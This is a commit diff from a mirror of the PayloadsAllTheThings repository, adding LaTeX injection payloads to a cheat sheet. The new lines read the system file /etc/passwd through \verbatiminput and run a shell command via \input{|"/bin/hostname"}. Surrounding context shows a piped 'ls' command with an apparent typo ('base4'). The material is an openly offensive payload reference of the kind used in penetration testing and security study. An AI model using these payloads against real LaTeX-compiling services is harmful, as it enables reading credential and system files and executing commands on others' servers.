mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2026-03-01 06:53:04 -08:00
LaTeX display code + XSS location alternative
This commit is contained in:
@@ -26,6 +26,13 @@ Read multiple lined file
|
||||
\closein\file
|
||||
```
|
||||
|
||||
Read text file, keep the formatting
|
||||
```bash
|
||||
\usepackage{verbatim}
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
|
||||
|
||||
## Write file
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
@@ -48,6 +55,7 @@ If you get any LaTex error, consider using base64 to get the result without bad
|
||||
|
||||
```bash
|
||||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user